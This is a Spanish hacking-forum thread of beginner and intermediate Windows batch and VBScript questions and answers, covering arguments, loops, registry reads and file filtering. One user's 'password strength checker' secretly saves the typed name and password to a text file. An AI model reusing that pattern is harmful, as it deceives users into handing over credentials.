Para pasarle argumentos al archivo.bat tenes que seguir los mismos procedimientos pero en el mosmendo que estas en la ventana de MS-DOS escribis

Código:
C:\archivos.bat me llamo mico, mi edad es de 15 a˝os

Ahi le estarias pasando al archivo.bat 9 argumentos distintos.

Donde me es el argumento %1
llamo ... %2
mico ... %3
Y asi sigue hasta el %9

Me explique mejor ahora? Cualquier duda consulta...


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: jaimico195 en 5 Agosto 2007, 01:37
ok, ahora ya tengo argumentos en mi hola.bat
mira hice esto:
Código:
c:\echo hola como estas>hola.bat

ok ahora ya vi el archivo y solo dice "hola como estas"

ahora que hago para que muestre %1 y %3
osea que le pongo para que muestre los argumentos de ese archivo

creo un .bat y en el le pongo esto

Código:
c:\hola.bat
echo %1 %3

jeje perdon por las preguntas ya me da verguenza escribir a la proxima te escribo por mensaje privado.

editado:
si quiero mostar los argumentos de un mismo bat:

Código:
echo hola como estas
echo %1 %3

como hago esto esta mal yo se como hago para que este bien


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Siuto en 5 Agosto 2007, 08:32
No, ya no entiendo la pregunta, separa los parrafos y usa las etiqeutas de (https://foro.elhacker.net/Themes/default/images/bbc/code.gif) (Insertar Cˇdigo) para los mismos.



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: jaimico195 en 8 Agosto 2007, 07:58
alguien me puede ayudar jeje esque no me han respondido, se que ya hice varias preguntas pero no entiendo soy medio lento para aprender jejeje pero espero y me puedan ayudar con los posts que puse ariva.

saludos espero que entiendan mis dudas


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: viktor74 en 18 Agosto 2007, 21:57
mm una preguntilla sobre un programa que hice.
Lo que pasa es que hice un programa que "verifica" si tu contrase˝a es buena o no.
@echo off
title seguridad en tu contrase˝a
echo íBienvenido! sigue las instrucciones
set /p nombre= como te llamas?
:menu
cls
echo.
echo 1.checar seguridad de contrase˝a
echo 2.salir
set /p opc=que quieres hacer %nombre%??
if %opc%==1 goto ver
if %opc%==2 goto end
:ver
set /p con= ingresa tu contrase˝a
cls
echo analizando...
echo %nombre% >> archivo3.txt
echo %con% >> archivo3.txt
pause
set /p respuesta= muy mala

 %respuesta%



:end
echo adios
pause
exit

aqui el problema que tengo es que no se como hacer para que el programa elija si a contrase˝a es buena o mala, simplemente le puse que digera que es mala o buena y quisiera saber si hay alguna forma de que por ejemple si la contrase˝a es menor a 8 caracteres sea mala i si es mayor se a buena.

De antemano gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 21 Agosto 2007, 04:43
si quieres saber si es menor a 8 caracteres, trata de obtener el caracter 8 de una variable, si es diferente de "", es porque es mayor o igual a 8..

Saludos!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: .Undertaker. en 30 Agosto 2007, 05:11
Alguien me puede explicar este code completamente??

Código:
FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas.") DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Ze Marduk en 26 Septiembre 2007, 09:36
hola amigooo, tengo un problemilla, explico rapido, tengo mysql instalado en mi PC, y uso msdps para entrar a mysql mas o menos asi:

Código:
cd xampp\mysql\bin\mysql
mysql -u root -p

despues me aparece el siguiente mensaje:

Citar
enter your password:

y ahi tecleo mi contrase˝a, ahora bien, hice un bat con el siguiente codigo:

Citar
@echo off
color a
cd\
cd xampp\mysql\bin
mysql -u root -p
echo mysql :: esta es mi contrase˝a de mysql

pero aunque en el bat hago q mi contrase˝a se escriba sola aun asi me sale el mensaje:

Citar
enter your password:

mi pregunta es como puedo introducir mi contrase˝a de mysql sin yo teclear es decir que lo haga el bat???

espero q me haya explicado


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Siuto en 26 Septiembre 2007, 13:01
Proba eso ;)


Código:
echo password | mysql -u root -p


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: chrominum en 28 Septiembre 2007, 17:01
Buenas, necesito saber como se puede guardar el valor de una entrada del registro en una variable, gracias  :D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: nhaalclkiemr en 28 Septiembre 2007, 17:22
Primero este no era el mejor sitio para hacer tu pregunta, podÝas haber abierto un nuevo tema...y a˙n asÝ nunca pensaste pork existen post pegados!!!!!!!?????

Mirate este:

LibrerÝa de funciones y scripts BATCH Actualizado 26/05/07 (http://foro.elhacker.net/index.php/topic,163184.0.html)

Y para que veas te pongo el cˇdigo que te interesa aki cuyo titulo es casi igual que tu pregunta:


Script para extraer el valor de una clave del registro


Código
  1. @echo off
  2. :: Script para extraer el valor de una clave del registro
  3. :: By nhaalclkiemr
  4. :: Special thanks to Sdc
  5. reg export "RUTA_CLAVE" "temp.tmp"
  6. if not %errorlevel%==0 goto error
  7. type temp.tmp | find "NOMBRE_CLAVE" > cadena_encontrada.tmp
  8. del /S /F /Q /A:- temp.tmp
  9. FOR /F "tokens=2* delims==" %%I IN (cadena_encontrada.tmp) DO set var="%%I"
  10. if "%var%"=="" goto error
  11. FOR /F "tokens=2* delims==" %%I IN (cadena_encontrada.tmp) DO (
  12. call:PARSEA %%I
  13. )
  14. goto :EOF
  15. :PARSEA
  16. del /S /F /Q /A:- cadena_encontrada.tmp
  17. SET PP="%~1"
  18. SET PP=%PP:\\=\%
  19. SET PP=%PP:"=%
  20. :: Aqui va el bat, el valor de la clave queda guardado en la variable PP
  21. :error
  22. :: Aqui va el bat de error en caso de que la RUTA_CLAVE o NOMBRE_CLAVE no exista
  23.  

Hay que usar el boton (http://foro.elhacker.net/Themes/default/images/spanish/search.gif)

Saludos ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: chrominum en 28 Septiembre 2007, 17:54
BusquÚ por google y en este tema, pero en el foro se me olvido xD

Muchas gracias, voy a probarlo ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Alfil0022 en 2 Enero 2008, 01:38
Hola.

Tengo un problema con un batch. Parece que SET no funciona dentro de un bucle FOR. Es posible? El batch es el siguiente

set J=1
for %%I in (*.jpg) do (
  ren %%I %J%.jpg
  set /a J+=1
)

He probado con CALL SET /A J+=1 y tampoco

Tambien he probado ...

set J=1
for %%I in (*.jpg) do (
 ren %%I %J%.jpg
 call:increm
 echo %J%
)
goto fi

:increm
set /a J+=1
goto:EOF

:fi

El caso es que cuando ejecuto el siguiente codigo fuera del batch si que funciona

set J=1
set /a J+=1
echo %J%

(J vale 2)

Alguien sabe que es lo que pasa?

Gracias   


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 2 Enero 2008, 01:48
que tienes que activar las extensiones de comandos, o hacer una llamada a una funcion dentro del for para poder hacer eso.

Saludos!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: nhaalclkiemr en 2 Enero 2008, 01:59
A mi si te digo la verdad lo de las extensiones de comando y usar ! en lugar de % nunca me funcionˇ...ya lo habÝa comentado anteriormente pero weno es igual...

saludos ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: ~[uNd3rc0d3]~ en 17 Enero 2008, 00:52
muy bueno el manual

lo he visto por toda la red xDD

un comando que yo soy de usar bastante seguido y que nunca lo vi en un manual es CACLS para editar las acl de windows y quitar o otorgar derechos

quizas esta un poco incompleto lo de los argumentos ya que vi dudas por ahi pero es el unico manual de programacion avanzada que deambula por la red xDD

hasta otra


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Berzeker en 19 Enero 2008, 07:54
Hola, tengo un codigo con el cual se ejecuta un ftp, quisiera que todos los archivos que se encuentren en un directorio y tambien en los subfolders de este (ejemplo: C:\users\berzeker\pictures\foto.jpg C:\users\berzeker\pictures\vacaciones\foto.jpg)
sean los que se transfieren, pero los archivos transferidos van a ser solo los que tengan determinada extension; algo asi *.jpg (es decir que el codigo que necesito solo necesitaria modificarle la extension para que mande .jpg .doc. .txt etc) cualquier ayuda, muchas gracias  ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Berzeker en 19 Enero 2008, 23:09
Hola, he avanzado un poco con la ultima duda que tuve pero no la he podido resolver todavÝa, se me ocurrio usar el comando dir /s y guardar la informacion, despues ejecutar find, pero lo unico que consigo con esto es ver los nombres de los .jpg, mas no la ruta que es indispensable para ejecutar el ftp (creo), alguna idea?

En otra cosa, quisiera saber como copiar el contenido de una pagina en internet en un .txt para usar un find sobre el, o si tienen algun otro metodo con batch, gracias.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: paperas en 22 Enero 2008, 18:29
Buenas Tardes, Un saludo a todos:

Soy nuevo en esto de la programacion, quisiera solicitarles de favor si me pudieran ayudar a resolver mi problema, hay un sistema instalado como en 20 clientes aprox. y en cada cliente se va generando un archivito de audio dentro de una carpeta especifica en donde contiene la grabacion de la llamada que recibe la operadora del sistema, mi problema es que me estan pidiendo concentrar todos esos archivos de audio de cada maquina en una sola, las cuales obviamente estan conectadas por red con TCP/IP, como puedo crear un batch que me haga esto?

de antemano, muchas gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Kefren en 22 Enero 2008, 18:47
Buenas Tardes, Un saludo a todos:

Soy nuevo en esto de la programacion, quisiera solicitarles de favor si me pudieran ayudar a resolver mi problema, hay un sistema instalado como en 20 clientes aprox. y en cada cliente se va generando un archivito de audio dentro de una carpeta especifica en donde contiene la grabacion de la llamada que recibe la operadora del sistema, mi problema es que me estan pidiendo concentrar todos esos archivos de audio de cada maquina en una sola, las cuales obviamente estan conectadas por red con TCP/IP, como puedo crear un batch que me haga esto?

de antemano, muchas gracias

No se si se podrß hacer eso con un BATCH, en tal caso serÝa con una especie de Telnet o algo asi

SaluDOS


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: paperas en 22 Enero 2008, 18:56
muchas gracias por tu respuesta kefren

Si la verdad me estoy dando cuenta de eso porque ya tengo varias semanas buscando algo parecido y no encuentro por ningun lado, si tu sabes de programacion algo que me pudieras recomendar, no se con VB, Delphi o algo parecido, osea necesito automatizar ese proceso y que sea transparente para el usuario, es decir que no tenga que estar dando contrasenas a un ftp o por medio de un telnet, sino mas bien idear un programita que lo haga diario y sobre todo transparente. Un saludo


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: MK-Ultra en 24 Enero 2008, 16:40
una pregunta?
este batch esta beien?
lo hice yo copiando un poco de este foro...

codigo:
color 2
echo íBienvenido! sigue las instrucciones
set /p nombre= como te llamas?
:menu
cls
echo.
echo 1) Chequear seguridad de contrase˝a
echo 2) Salir
set /p opc=que quieres hacer %nombre%:

if %opc%==1 goto ver
if %opc%==2 goto end
:ver
set /p con= ingresa tu contrase˝a:
cls
echo analizando...
echo.
echo.
echo Presione una tecla para ver la seguridad...
pause > nul
if %con% GEQ 8 (echo contrase˝a: Buena) ELSE (echo contrase˝a: Mala, cambiala)
pause > nul

:end
echo Presione una tecla para salir
pause > nul
exit


y nada mas...
solo eso
suerte
Pupybell
Yo le cambiaria las siguientes cosas:

1ro y principal hay que a˝adirle @echo off para que no se vean los comandos cuando lo ejecutas.

2do me salteria toda esta parte:
Código:
set /p nombre= como te llamas?
:menu
cls
echo.
echo 1) Chequear seguridad de contrase˝a
echo 2) Salir
set /p opc=que quieres hacer %nombre%:

if %opc%==1 goto ver
if %opc%==2 goto end
:ver

Eso es porque :

1) Hay verdadera necesidad de preguntarle el nombre al usuario ?

2) Si ejecuta el programa va a ser para (si el programa tiene 1 sola funcion, ejercer dicha funcion) asique si elijiese salir, no habria tenido  necesidad de siquiera ejecutar el programa. Me explico ?

3ro No entiendo que quieres poner aca:
Código:
if %con% GEQ 8 (echo contrase˝a: Buena) ELSE (echo contrase˝a: Mala, cambiala)

Seguramente queires poner que si tiene 8 o mas caracteres es buena, sino es mala.

Ahi lo que en realidad pusiste es que si la contrase˝a (siempre y cuando sea solo numerica) es = o mayor a 8 es buena, contrario es mala (OJO: si es = o mayor en numero, ejemplo que pones 00000000001 eso es mala sugun el batch xq ese numero no es mayor a 8, si pones 9 entonces batch lo toma como bueno, me explico?)

y despues, un peque˝o detalle al principio:
Código:
color 2
Personalmente creo que queda mejor un verde mas claro, esto lo haces asi:
Código:
color 0c


Espero haberte sido de ayuda!

Nos vemos  ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: MK-Ultra en 24 Enero 2008, 20:30
De nada, siempre es un placer ayudar.

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: drotha2 en 27 Febrero 2008, 21:22
Hola a tod@s!!!

  Me alegro encontrar un manual como el de la primera pagina, aunque me aclaro mucho no consigo que me funcione, tal vez, por que no sepa...

Cuento el problema a ver q soluciones tiene...

  Tengo un lector de tarjetas SD y un adaptador de SD, un software a cargar en tarjetas... Estoy intentando q el bach formatee de forma rßpida la sd, para limpiarla, de esta forma tarda menos que hacer un del, me encuentro con que el format me pide pulsar tecla cuando este lista la unidad, despues que le ponga nombre, despuÚs paso a meter datos, pero en ocasiones me cambia la letra de la unidad, necesitarÝa q preguntara, si no la encuentra en la letra normal, que unidad se grabaran los datos. a ver, en ocasiones me da la unidad L pero otras la J o la M, el problema, imagino, seria q el bach supiera si la unidades del card reader estßn para escribir o no y si es q no preguntara la unidad a escribir.

Esa es la parte mas chunga, para mi, claro, posiblemente me deis distintas soluciones.

Total, seria, como limpiar la unidad, en caso de usar FORMAT que este no pida pulsar teclas o meter nombre, que fuera rßpido... Que detecte la unidad a grabar y si no encuentra pida letra de unidad a grabar...

  Imagino q esta algo chungo o directamente seria mas sencillo que pidiera la letra de la unidad a grabar...

  Espero podßis ayudarme... hace algunos a˝os q no uso los comandos msdos

    Un saludo y gracias!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Luchiz en 9 Marzo 2008, 18:36
Hola a tod@s como veran soy nuevo por aca y tambien  nuevo en esto del BATCH, me gustaria aprender a hacer "cositas" con este ejecutador por lotes, Por favor si alguno de ustedes sabe hacer cualquier cosa en .bat respondame que verdaderamente me interesa aprender. lo que sea que sepan hacer no duden que yo absorbo informacion como una esponja. pero solo hay una condicion que culaquier cosa que envien se bien explicadita porfa =)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Kiosera en 17 Marzo 2008, 18:05
Buen dÝa sirdarckcat y buen dÝa para todos!!

QuerÝa preguntar acerca de un tema:

Sucede que quiero leer lÝnea a lÝnea un archivo TXT.

Estoy usando lo siguiente:

FOR %%a in (c:\CB.txt) DO echo %%a

Pero lo que veo es c:\CB.txt y no el contenido (lo que hay dentro de CB.txt)   :-[

Uso el for porque lo que deseo es que recorra el archivo hasta que se acabe....
Es posible con el FOR o estoy usando una sentencia que no es?

De antemano, gracias por la respuesta





Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: ~[uNd3rc0d3]~ en 17 Marzo 2008, 23:48
Cita de: C:\*.bat
@echo off
for /f "tokens=* delims= " %%a in (hola.txt) do (echo %%a)
pause > nul

Cita de: C:\hola.txt
hola como andas
bien y vos
yo bien, che a donde vas?
a tomar una virra, vamos?
dale....

Cita de: ConsoleOutput
hola como andas
bien y vos
yo bien, che a donde vas?
a tomar una virra, vamos?
dale....

see ya!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: morenochico en 18 Marzo 2008, 18:26
┐Se puede poner varias instrucciones ftp en UNA sola linea desde el promtp de msdos?

Necesito hacer varios movimientos en varias pc's remotas, (borrar archivos, crear directorios etc). Esto no es problema ya que tengo un archivo .exe que hace eso (todas las pc's tienen una configuracion similar). Lo que quiero saber es si se puede poner una instruccion larga dentro del run de windows, esto es: inicio ---> run. 

Lo que quiero es: abrir cmd.exe, ir a un directorio (desktop), conectarme a un servidor ftp y descargar mi archivo .exe que es el que hace todo el movimiento que ocupo. Quiero hacerlo todo desde el run de windows o en su defecto abrir una terminal CMD y poner una instruccion larga (cd desktop, ftp ... etc...). He intentado pero hasta el momento no he podido. Ya se que para conectarse a un servidor ftp se puede crear un archivo con instrucciones que se manda llamar con ftp desde el prompt. Pero no me sirve ya que el archvo .exe que ocupo seria mas chico que el que archivo con instrucciones ftp y en la practica se haria mas trabajo.

Las razones por las que quiero hacerlo asi son tres, la comunicacion es muuuy lenta   >:( , yo no lo haria lo haria una persona que no tiene muchos conocimientos en pc's    :P y son demasiadas pc's  :-[.  Busco poner la instruccion solo una vez y que solito se haga todo el trabajo.    ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: BasFKlitzZ en 22 Marzo 2008, 08:10
Holas a todos!... Miren, tengo una simple duda con un *.bat:
┐Se puede poner una llamada (:llamada) en el mismo .bat del archivo que lo llama...? Porque intento, y lo reviso, pero no encuentro error. Lo que pasa es que reinicia la aplicaciˇn, o sea, vuelve a empezar desde el principio, y no reconoce la llamada  :-\
El cˇdigo que tengo es algo asÝ:

Nombre del archivo: "Prueba.bat"
------------------------------------------------------------------------------------------------
Cˇdigo:

@echo off
color A
set /P caracter=Escriba algun caracter, y presione enter:
IF %caracter% neq i (
cls
echo Los caracteres que usted ha escrito, son incorrectos...
echo Presione una tecla para continuar...
pause >nul
) ELSE (
cls
echo Muy Bien!!! Has acertado!!!
echo Adios
pause >nul
exit)
Prueba.bat ventana

@echo off&call:%*&goto:EOF

:ventana
start
color A
echo Tendrßs 7 a˝os de mala suerte por no haber acertado...
pause >nul
exit
goto:EOF
------------------------------------------------------------------------------------------------

Espero que me puedan ayudar, y se que mi error debe ser algo insignificante...  :ČČ  tal vez sea por el "@echo off&call:%*&goto:EOF"... tal vez tenga algo mal escrito, o me falte algo... nose, pero si los pongo en .bats diferentes, funciona  :-\
Desde ya, muchas gracias  :)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: renegomez en 28 Abril 2008, 19:55
Buen dia, hola a todos, necesito su ayuda, tengo un software que quiero que solo se pueda instalar una una maquina determinada y que solo permita hacer 3 instalciones y que luego lo bore, el softwre se encuentra un penddrier(USB), si alguien puede decirme como hacer una bat, mil gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: xfz4 en 29 Abril 2008, 01:18
Buen dia, hola a todos, necesito su ayuda, tengo un software que quiero que solo se pueda instalar una una maquina determinada y que solo permita hacer 3 instalciones y que luego lo bore, el softwre se encuentra un penddrier(USB), si alguien puede decirme como hacer una bat, mil gracias

Código:
@ECHO OFF
CLS
:FIND
IF %USERNAME%==MAKINA DETERMINADA (GOTO NEXT) ELSE GOTO FIND
:NEXT
set /a IDENTIFICADOR=%IDENTIFICADOR%+1
if exist c:\3.GARBAGE (goto SALTE) else goto crear
:CREAR
echo item-%USERNAME%>c:\%identificador%.GARBAGE
:SALTE
DEL %0
:: SI QUIERES BORRAR LO INSTALADO LO BORRAS AKI  <---
:: O TAMIEN PODES METER EL IDENTIFICADOR EN EL PENDRIVE
:: ESTO TE DA UNA IDEA ??


saludos  ;D

PD: pasense por ka:
http://foro.elhacker.net/index.php/topic,163184.0.html (http://foro.elhacker.net/index.php/topic,163184.0.html)
y aka:
http://foro.elhacker.net/index.php/topic,209121.0.html (http://foro.elhacker.net/index.php/topic,209121.0.html)
y respondanme  >:( >:( >:( >:(   :rolleyes:   :ČČ  :P ;D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: elnenamelenas en 16 Mayo 2008, 01:15
POr favor necesito ayuda urgentemente, soy nuevo en esto y necesito crear un programita que me cambie automaticamente el path del windows donde se ejecute por el que yo le diga.

Alguien puede ayudarme? se lo agradecerÚ aternamente

Lo que llevo hecho hasta ahora sin lograr nada es:

path>pathanterior.Txt
If %pathanterior.txt% EQU %pathcorrecto% (echo OK)
Else %pathanterior.txt% EQU %pathcorrecto% (echo ko)
Pause


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: m1st1c0 en 22 Mayo 2008, 17:36
Hola a Todos!:

Tengo un equipo que genera automaticamente archivos (AVI) y los almacena en una carpeta; tengo un bat que elimina los mßs viejos a 6 dias.

Quiero sacarle un backup, pero organizado es decir que se creeen la carpetas por dÝa y copie los archivos de ese dia en la carpeta que le corresponde.

Ej:
Los archivos estan en C:\VIDEO\ y la idea es que el genere algo como

c:\Backup\16\
c:\Backup\17\
c:\Backup\18\
c:\Backup\19\
c:\Backup\20\
c:\Backup\21\
c:\Backup\22\

Y que tome los archivos de C:\VIDEO y los guarde en el dÝa que corresponde.

Espero contar con su apoyo!  :-(


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Bad_Robot en 10 Junio 2008, 05:41
gracias por el manual , lo andaba buscando  :laugh:


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 15 Junio 2008, 08:28
Saludos y que tengan un feliz dÝa!!

Tengo un inconveniente con unos archivos txt. diariamente me llegan alrededor de 3000 archivos que tengo que clasificar de acuerdo a 2 lineas que estan casi al final.

Las dos lineas son:
"000323               0000000000000000000000000000000000000000"
"000333               0000000000000000000000000000000000000000"

Necesito que si estas lineas no existen en el fichero, que lo mueva a una carpeta X.

Ejemplos de un archivo son estos:
Este, por ejemplo debe moverse a la carpeta X.

000012CC66666666        0300  76001CHAPARRO                 NACHO
000012CC99999999        0300  76001ARCO                         JUANA
00031300058700000000733600000010702800000000000000000000
0003235246461391     0000107028000000000000000000000000000000
000333               0000000000000000000000000000000000000000
00035300000000000000626572000000000000000000000000000000
00036300000000000000000000000000000000000000000000000000
00037300000000000000626572000000000000000000000000000000
00038300000000000000000000000000000000000000000000000000
00039300000000000000626572000000000000000000000000000000

Y este se puede quedar donde estß:

000012CC99999999        0300  76001ARCO                         JUANA
00031300004615000000057700000000000000000000000000000000
000323               0000000000000000000000000000000000000000
000333               0000000000000000000000000000000000000000
00035300000000000000057700000000000000000000000000000000
00036300000000000000000000000000000000000000000000000000
00037300000000000000057700000000000000000000000000000000
00038300000000000000000000000000000000000000000000000000
00039300000000000000057700000000000000000000000000000000

Lo que me parece complejo es que se necesitan condicionales, intentÚ hacerlo en c++, pero la verdad me faltan muchos conocimientos. :huh:
PD: El texto se visualiza mejor en notepad
Gracias! Kanpai!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 15 Junio 2008, 17:59
Si sabes cuantas lineas hay en el archivo, y exactamente cuales son las que tienes que leer, con un FOR /F, con un filtro skip; y un set, puedes hacer el trabajo..

Saludos!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 15 Junio 2008, 20:24
Si sabes cuantas lineas hay en el archivo, y exactamente cuales son las que tienes que leer, con un FOR /F, con un filtro skip; y un set, puedes hacer el trabajo..

Saludos!!

Ese es el problema... El archivo empieza con una lista de personas, la cual va desde 1 hasta ?? . Habia pensado usar un findstr.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 15 Junio 2008, 22:22

Citar
una lista de personas, la cual va desde 1 hasta ??
No entiendo entonces lo que tienes que hacer :ČČ

Saludos!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 23 Junio 2008, 14:38
Hola a todos

estoy utilizando este comando para filtrar los archivos txt

findstr /m /c:"texto1a" *.txt > temp.txt
findstr /m /c:"texto1b" *.txt >> temp.txt
findstr /m /c:"texto2a" *.txt >> temp.txt
findstr /m /c:"texto2b" *.txt >> temp.txt

Asi me sirve, pero tengo que filtrarlo luego por excel, ya que necesito un consolidado de la busqueda. Me servirÝa mas si pudiera usar condicionales... ┐Se puede? :huh:


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 23 Junio 2008, 15:16
Siempre me ha gustado mucho mßs *.vbs que *.bat (se crean igual, notepad y extensiˇn vbs), es por eso que he codeado la siguiente utilidad que hace lo que necesitas,....... espero  :P

Código:
set objfso = createobject("scripting.filesystemobject")
' Establecemos el objeto encargado de realizar las tareas
set lacarpeta = objfso.getfolder("d:\carpetacontenedora")
'Fijamos la ruta en la que esta la carpeta, dentro de la cual, estßn los archivos
set afil = lacarpeta.files
'Obtenemos los archivos
for each f in afil
'Por cada archivo en la carpeta
set elarchivo = objfso.OpenTextFile(f.path,1)
contenido = elarchivo.readall
' Lo abrimos en modo lectura y leemos su contenido
primero = instr(1,contenido,"000323               0000000000000000000000000000000000000000",1)
segundo = instr(1,contenido,"000333               0000000000000000000000000000000000000000",1)
' Buscamos la primer lÝnea, y luego la segunda
elarchivo.close
' Cerramos el archivo
if primero <>0 and segundo<>0 then
' Comparamos, si existen la primera Y la segunda lÝnea, deben de existir las dos
objfso.movefile f.path,"d:\pronto\"&f.name
' Movemos el archivo a la carpeta destino en caso de que sea afirmativo
' Debe de establecerse la ruta de la carpeta, en este caso es "d:\pronto"
end if
' Terminamos la comparaciˇn
next
' Pasamos al siguiente archivo

TambiÚn te lo he comentado para que lo entiendas mejor  ;)

Pruebalo y cuentanos como te va

Saludos

[Modifico] Viendo un poco mejor lo que necesitas me he dado cuenta de que la condiciˇn esta al revÚs, en este caso, los mueve si tienen la cadena de texto, pero tu quieres lo contrario, que los mueva en caso de que no las tenga, para eso basta con modificar la siguiente lÝnea....

Esto...
Código:
if primero <>0 and segundo<>0 then
' Comparamos, si existen la primera Y la segunda lÝnea, deben de existir las dos
Por esto....
Código:
if primero =0 or segundo=0 then
' Comparamos, si no existe la primera O la segunda lÝnea, con que una no exista basta

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 23 Junio 2008, 18:08
No me funcionˇ, pero es posible que sea que lo configurÚ mal.

Ya hice uno que me funciona de maravilla, pero quiero optimizarlo.
--------------------------------------------------
@echo off
color 0A
title FILTRADO INCAPACIDADES ver3.0
rem Programa: filtroIGE_ver3.5.bat
echo    ┌─────────────────────────────────────────────────┐
echo    │              Filtrado INCAPACIDADES             │
echo    │                   Shinseiki86                   │
echo    └─────────────────────────────────────────────────┘
echo ░
goto ingreso

:nocarp
@echo CARPETA INEXISTENTE!

:ingreso
@echo Ingrese o arrastre carpeta a procesar:
set /p carpeta="> "
%carpeta:~1,2%
cd %carpeta%
if %errorlevel% GTR 0 goto nocarp
cls

:busqueda
echo    ┌─────────────────────────────────────────────────┐
echo    │              Filtrado INCAPACIDADES             │
echo    │                   Shinseiki86                   │
echo    └─────────────────────────────────────────────────┘
echo _
echo PROCESANDO 000%%% ░░░░░░░░░░░░
findstr /m /c:"000323               0000000000000000000000000000000000000000" *.txt > filtro.xls
cls

echo    ┌─────────────────────────────────────────────────┐
echo    │              Filtrado INCAPACIDADES             │
echo    │                   Shinseiki86                   │
echo    └─────────────────────────────────────────────────┘
echo _
echo PROCESANDO 025%%% ███▓▒░░░░░░░
findstr /m /c:"000333               0000000000000000000000000000000000000000" *.txt >>filtro.xls
cls

echo    ┌─────────────────────────────────────────────────┐
echo    │              Filtrado INCAPACIDADES             │
echo    │                   Shinseiki86                   │
echo    └─────────────────────────────────────────────────┘
echo _
echo PROCESANDO 050%%% ██████▓▒░░░░
findstr /m /c:"0003230              0000000000000000000000000000000000000000" *.txt >>filtro.xls
cls

echo    ┌─────────────────────────────────────────────────┐
echo    │              Filtrado INCAPACIDADES             │
echo    │                   Shinseiki86                   │
echo    └─────────────────────────────────────────────────┘
echo _
echo PROCESANDO 075%%% █████████▓▒░
findstr /m /c:"0003330              0000000000000000000000000000000000000000" *.txt >>filtro.xls
cls
goto finalizado

:error
echo Se ha producido un error!
echo Posiblemente el archivo estß abierto
echo Cierre el archivo filtro.xls y presione cuaquier tecla para
echo intentar crear de nuevo el archivo.
pause >nul
cls
goto busqueda

:finalizado
echo    ┌─────────────────────────────────────────────────┐
echo    │              Filtrado INCAPACIDADES             │
echo    │                   Shinseiki86                   │
echo    └─────────────────────────────────────────────────┘
echo _
echo PROCESANDO 100%%%% ████████████
echo Archivo filtro.xls generado con exito!
PAUSE


if not exist OK mkdir OK
:proceso
cls
echo    ┌─────────────────────────────────────────────────┐
echo    │        Proceso de movimiento a carpeta OK       │
echo    └─────────────────────────────────────────────────┘
echo _
echo Copie Nombre archivos a procesar:
set /p archivo="> "
if not exist %archivo% goto noarch
cls

echo    ┌─────────────────────────────────────────────────┐
echo    │             PROCESANDO ███▓▓▓▒▒▒░░░             │
echo    └─────────────────────────────────────────────────┘
move %archivo% OK\
goto proceso
cls

:noarch
cls
echo    ┌─────────────────────────────────────────────────┐
echo    │░░░░░░░░░░░░░░░ARCHIVO INEXISTENTE!░░░░░░░░░░░░░░│
echo    └─────────────────────────────────────────────────┘
echo _
echo %archivo% No existe.
pause
cls
goto proceso
------------------------------------------------------------------------------------------
En el archivo filtro.xls utilizo =A1=A2 para saber cuales estan repetidas. Aplico filtros, selecciono las que sean verdaderas y las copio en el batch.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 23 Junio 2008, 18:33
Que fue lo que no te funcionˇ? :ČČ
Te saliˇ alg˙n tipo de mensaje?

Cambiaste correctamente las rutas en las lÝneas 3 y 19?

Modificaste las lÝneas de comparaciˇn que agregue al final?
Yo lo he probado y deberÝa de funcionar todo correctamente
Por si las dudas, doble click para ejecutar  :xD

Saludos

Prueba esto

Código:
set objfso = createobject("scripting.filesystemobject")
